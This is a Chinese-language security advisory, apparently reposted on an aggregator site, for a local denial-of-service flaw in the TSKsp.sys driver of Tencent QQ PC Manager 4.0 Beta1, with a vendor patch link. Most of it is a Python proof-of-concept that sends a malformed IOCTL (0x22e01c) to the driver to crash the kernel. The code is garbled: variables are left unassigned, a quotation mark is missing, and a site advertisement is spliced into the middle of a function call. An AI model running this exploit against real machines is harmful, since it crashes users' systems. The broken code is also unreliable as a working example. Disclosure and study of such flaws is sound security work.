QQ电脑管家TSKsp.sys驱动本地拒绝服务漏洞及修好1

腾讯电脑管家（Tencent PC Manager/原名QQ电脑管家）是腾讯公司推出的免费安全软件。拥有云查杀木马，系统加速，漏洞修复，实时防护，网速保护，电脑诊所，健康小助手，桌面整理，文档保护等功能。

影响版本:
Tencent QQ电脑管家 4.0 Beta1漏洞描述:
QQ电脑管家是QQ医生3.3的升级版本，主要功能包括安全防护、系统优化和软件管理。

QQ电脑管家所安装的TSKsp.sys驱动没有正确地验证用户所提交的调用参数，本地用户可以通过提交恶意的IOCTL请求导致内核崩溃。

<*参考
Lufeng Li （lilf@neusoft.com）
*>
测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
#!/usr/bin/python

#################################################################
#
# Title: QQ Computer Manager TSKsp.sys Local Denial of Service Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: http://pcmgr.qq.com
# Vulnerable App: vc/qqmaster/setup/QQPCMgr_Setup.exe">http://dl_dir2.qq.com/invc/qqmaster/setup/QQPCMgr_Setup.exe
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQpcmgr v4.0Beta1
# Vulnerable: QQpcmgr<=v4.0Beta1
#
#################################################################
from ctypes import *

kernel32 = windll.kernel32
Psapi = windll.Psapi

if __name__ == __main__:
    GENERIC_READ = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2

    DEVICE_NAME   = "\\.\tsksp"
    dwReturn      = c_ulong()
    out_data      =
    in_data       =
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ

软件推荐：

(专业提供下载)

GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x22e01c, in_data,0, out_data, 0,byref(dwReturn), None)

厂商补丁：

Tencent

http://dl_dir2.qq.com/invc/qqpcmgr/setup/QQPCMgr_Setup_40_286.exe

就爱阅读www.92to.com网友整理上传,为您提供最全的知识大全,期待您的分享，转载请注明出处。

腾讯电脑管家杀查能力全面升级，云杀查和可疑智能检测技术二合一，强力杀查流行木马。健康小助手帮用户养成健康的使用习惯，舒缓上网疲劳

……

标签:服务管家修复 QQ电脑管家